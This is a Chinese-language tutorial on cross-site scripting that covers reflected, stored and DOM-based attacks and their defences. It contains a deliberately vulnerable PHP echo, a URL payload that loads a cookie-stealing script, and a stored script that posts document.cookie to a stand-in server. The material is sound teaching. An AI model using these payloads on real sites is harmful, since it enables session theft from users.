Skip to content
本页目录

XSS 跨站脚本攻击

介绍

Cross-Site-Scripting 简称 XSS(改为 XSS 为了区分 CSS),是一种代码注入攻击。通过注入恶意脚本,在用户浏览器上运行,以获取用户的 Cookie、SessionId 等敏感信息。

一般有以下三种方式:

危害

  • 窃取 cookie
  • 劫持流量并导流到其它网站
  • 插入广告
  • 植入木马
  • 获取用户信息

途径

  • url 参数注入
  • 输入框注入,一切用户可以输入的地方都是不安全的

类型

  • 反射型
  • 存储型
  • DOM型

1. 反射型

浏览器提交恶意代码到服务端,服务端再将恶意代码传回客户端。它一般是通过 url 传参形式。

反射性一般在前后端不分离的项目中,现在的前后端分离项目是无效的。

场景

网站将查询结果在页面中做了直接的展示

  • http://localhost:8000/?user=<script>alert(3)</script>
PHP
<?php echo "<p>hello, $_GET['user']</p>"; ?>
<?php echo "<p>hello, $_GET['user']</p>"; ?>

hack.js 内容是获取 cookie 信息的脚本

  • http://localhost:8000/?user=<script src="http://localhost:4000/hack.js">

2. 存储型

浏览器提交恶意代码到服务端,服务端将恶意代码储存到数据库中。

场景

表单中提交了恶意代码,如用户评论,当用户访问评论内容时,恶意代码内容通过浏览器执行。

例如用户在表单中写入了以下内容并发布,其它用户在访问到时,其 cookie 就会被发送到攻击者的服务器

JS
<script>
$.ajax({
  type: "post",
  url: "http://demo.com/get-cookie",
  data: { cookie: document.cookie }
})
</script>
<script>
$.ajax({
  type: "post",
  url: "http://demo.com/get-cookie",
  data: { cookie: document.cookie }
})
</script>

3. DOM 型

恶意代码仅在客户端运行。

DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

场景

通过 url 传递参数的页面,如搜索、跳转

解决方案

对输入进行过滤,对输出进行转义

  • 输入进行格式校验。如输入一个手机号,就要限制其格式
  • 过滤
    • 过滤 <script> <iframe> 标签
    • 过滤 onclick、onerror、onfocus 等事件
  • 对需要被浏览器渲染的内容进行转义
  • 限制输入内容的长度
  • cookie 设置为 http only,禁止 JavaScript 读取 cookie

对于反射型与存储型:一般来说,攻击者是可以绕过前端过滤进行输入的,所以输入过滤一般在后端完成,如 phphtmlspecialchars 方法,以及数据库的一些方法,能将 html 标签和其它一些特殊符号转为字符实体。如 &nbsp; 像富文本编辑器的内容,一般都是通过这些方法对内容进行处理。

对于 DOM 型:

  • 避免直接操作 .innerHTML、.outHTML、.document.write() ,应该尽量使用 .textContent 等方法
  • Vue 技术栈中,对不可信内容不要使用 v-html 指令,其实现也是使用 innerHTML 方法,所以需要对内容的标签进行转义

使用 CSP (内容安全策略),定义域名白名单,防止三方脚本的注入